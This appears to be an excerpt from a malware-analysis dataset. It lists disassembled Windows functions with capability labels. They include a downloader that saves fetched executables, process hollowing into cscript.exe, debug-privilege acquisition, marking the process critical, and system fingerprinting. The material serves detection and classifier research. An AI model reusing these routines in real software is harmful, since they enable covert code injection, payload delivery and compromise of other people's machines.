joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c340
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x43e6a4
push 1
push edi
push 0x43e674
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x40c374
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x43e684
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x40c36c
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x40c42d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x43b590
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x40c409
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x40c3fe
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x40c3b8
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c440
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x43e6a4
push 1
push edi
push 0x43e674
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x40c474
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x43e694
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x40c46c
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x40c52d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x43b590
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x40c509
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x40c4fe
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x40c4b8
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c7f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
lea eax, [esi + 0xcc8]
push 0x43f9f4
push eax
call edi
push 0x11c
xor ebx, ebx
lea ecx, [ebp - 0x120]
push ebx
push ecx
call fcn.00423160
add esp, 0x18
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40c94b
cmp dword [ebp - 0x110], 2
jne 0x40c94b
cmp dword [ebp - 0x11c], 5
jbe 0x40c94b
lea eax, [ebp - 0x124]
push eax
push 8
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40c94b
mov edx, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push ebx
push ebx
push 0x19
push edx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x40c921
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40c921
mov eax, dword [ebp - 0x128]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40c91b
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push edx
push edi
push 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40c914
mov ecx, dword [edi]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [edi]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x2000
ja 0x40c959
je 0x40c952
test ebx, ebx
je 0x40c94b
cmp ebx, 0x1000
jne 0x40c981
push 0x4405b8
jmp 0x40c975
push str.None
jmp 0x40c975
push 0x44048c
jmp 0x40c975
cmp ebx, 0x3000
je 0x40c970
cmp ebx, 0x4000
jne 0x40c981
push 0x4405c8
jmp 0x40c975
push 0x4405c0
add esi, 0x2216
push esi
call edi
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40c9a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3c
mov edi, ecx
call fcn.0041e128
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [edi + 0xcc8]
push 0x43f9f4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
call fcn.0040c6c0
push 0x11c
xor ebx, ebx
lea ecx, [ebp - 0x120]
push ebx
push ecx
call fcn.00423160
add esp, 0x1c
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40cb16
cmp dword [ebp - 0x110], 2
jne 0x40cb16
cmp dword [ebp - 0x11c], 5
jbe 0x40cb16
lea eax, [ebp - 0x124]
push eax
push 8
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40cb16
mov edx, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push ebx
push ebx
push 0x19
push edx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x40caeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40caeb
mov eax, dword [ebp - 0x128]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x12c], eax
test eax, eax
je 0x40caeb
mov edx, dword [ebp - 0x128]
lea ecx, [ebp - 0x128]
push ecx
push edx
push eax
mov eax, dword [ebp - 0x124]
push 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40cade
mov ebx, dword [ebp - 0x12c]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [ebx]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x2000
ja 0x40cb26
je 0x40cb1e
test ebx, ebx
je 0x40cb16
cmp ebx, 0x1000
jne 0x40cb54
push esi
push 0x4405dc
jmp 0x40cb44
push esi
push str.None__s
jmp 0x40cb44
push esi
push 0x4405e8
jmp 0x40cb44
cmp ebx, 0x3000
je 0x40cb3e
cmp ebx, 0x4000
jne 0x40cb54
push esi
push 0x440600
jmp 0x40cb44
push esi
push 0x4405f4
add edi, 0xa70
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test esi, esi
je 0x40cb61
push esi
call fcn.004208fe
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40cb80
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x70], edx
mov edx, dword [ebp + 0x14]
xor esi, esi
push edi
xor ebx, ebx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x5c], esi
xor edi, edi
lea ecx, [ecx]
lea eax, [esi + 0x42]
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x18]
xor eax, eax
push ecx
mov dword [ebp - 0x16], 0x5c003a
mov word [ebp - 0x12], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x40cc2e
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x18]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x88]
shrd eax, ecx, 0x1e
add ebx, eax
mov eax, dword [ebp - 0x84]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x5c], edx
inc esi
cmp esi, 0x1a
jl 0x40cbc0
push 0x40
lea ecx, [ebp - 0x58]
push 0
push ecx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], edi
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x78]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd ebx, eax, 0x1e
shr eax, 0x1e
add ebx, 1
adc eax, 0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x60]
push eax
push 0x43f9f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x7c]
push edx
push 0x44061c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x70]
push ecx
push 0x44061c
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74]
push edi
push esi
push 0x44061c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x68]
push ecx
push ebx
push 0x44061c
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
add esp, 0x44
push edi
push esi
mov esi, dword [ebp - 0x6c]
push eax
push ecx
push edx
push 0x440628
push 0xc8
push esi
call fcn.00420594
mov eax, dword [ebp - 0x94]
push eax
push ebx
push esi
push 0x44065c
push 0xc8
push esi
call fcn.00420594
add esp, 0x38
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40d2f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d3fe
push str.RtlGetNtVersionNumbers
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d3f7
push esi
push edi
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x10]
push ecx
call eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
push str._d._d._d
push 0x1e
push ecx
call fcn.00420594
xor ecx, ecx
mov eax, 0xca
mov dword [ebp - 0x14], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041e128
add esp, 0x1c
mov esi, eax
mov dword [ebp - 0x18], 1
call fcn.0040d270
test eax, eax
je 0x40d392
lea eax, [ebp - 4]
push eax
push 0x20119
jmp 0x40d39b
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
push esi
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push str.ProductName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d3e2
test edi, edi
jne 0x40d3e2
mov edx, dword [ebp + 0xc]
push 0x31
push esi
push 0x32
push edx
call fcn.00420cc4
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.004208fe
add esp, 4
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d460
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40d4c7
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.NtSetInformationProcess
push str.NtDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40d4f3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], 1
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x1d
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40d580
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40d5ba
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40d5a7
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40dac0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x40db50
test esi, esi
je 0x40db3d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x40db32
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x40dc3f
jmp 0x40dbb0
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00423160
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x40dbfc
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x40dc2b
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x40dbb0
jmp 0x40dc32
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x40dc6e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40dc90
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x44
lea eax, [ebp - 0x434]
push 0
push eax
call fcn.00423160
xor eax, eax
push 0x2cc
push eax
lea ecx, [ebp - 0x3dc]
push ecx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], eax
call fcn.00423160
xor edx, edx
push 0xfe
push edx
lea eax, [ebp - 0x10b]
push eax
mov dword [ebp - 0x434], 0x44
mov dword [ebp - 0x408], 1
mov word [ebp - 0x404], dx
mov byte [ebp - 0x10c], dl
call fcn.00423160
add esp, 0x24
push 0xff
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.WindowsSysWOW64cscript.exe
lea edx, [ebp - 0x10c]
push edx
push 0x4407dc
mov byte [ebp - 0x109], 0
call fcn.0040e9e0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40dd82
lea ecx, [ebp - 0x10c]
push str.WindowsSystem32cscript.exe
push ecx
push 0x4407dc
mov edx, ecx
mov byte [ebp - 0x109], 0
call fcn.0040e9e0
add esp, 0xc
lea edx, [ebp - 0x3ec]
push edx
lea eax, [ebp - 0x434]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40ddc1
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x3ec]
push 0x40
push 0x3000
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x40ddaf
mov eax, dword [ebp - 0x3ec]
push 0
push esi
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40ddaf
mov edx, dword [ebp - 0x3e8]
lea ecx, [ebp - 0x3dc]
push ecx
push edx
mov dword [ebp - 0x3dc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40ddaf
mov ecx, dword [ebp - 0x3e8]
lea eax, [ebp - 0x3dc]
push eax
push ecx
mov dword [ebp - 0x324], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x40ddaf
mov edx, dword [ebp - 0x3e8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x40df30
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, edx
mov dword [ebp - 0x4c0], esi
mov dword [ebp - 0x4c4], edi
test esi, esi
je 0x40e08f
test edi, edi
je 0x40e08f
push ebx
lea eax, [ebp - 0x4bc]
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x40e042
xor ebx, ebx
cmp word [ebp - 0x4bc], bx
je 0x40e042
lea esi, [ebp - 0x4bc]
xor edi, edi
jmp 0x40dfa0
push 0x440904
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40e01a
push 0x44090c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40e01a
mov cx, word [esi]
mov dx, word [ebp + edi - 0x4ba]
mov word [ebp - 0xc], cx
push 0x64
lea ecx, [ebp - 0xd4]
mov word [ebp - 0xa], dx
push ecx
lea edx, [ebp - 0xc]
xor eax, eax
push edx
mov word [ebp - 8], ax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x40e04a
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [ebp - 0x4c0]
mov esi, eax
push esi
lea ecx, [ebp - 0xd4]
push ecx
push edi
call fcn.00420f92
add esp, 0xc
test eax, eax
je 0x40e05d
add ebx, 4
lea edi, [ebx + ebx]
cmp word [ebp + edi - 0x4bc], 0
lea esi, [ebp + edi - 0x4bc]
jne 0x40dfa0
mov edi, dword [ebp - 0x4c4]
mov esi, dword [ebp - 0x4c0]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x4c4]
lea edx, [ebp - 0xc]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [edi + esi*2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret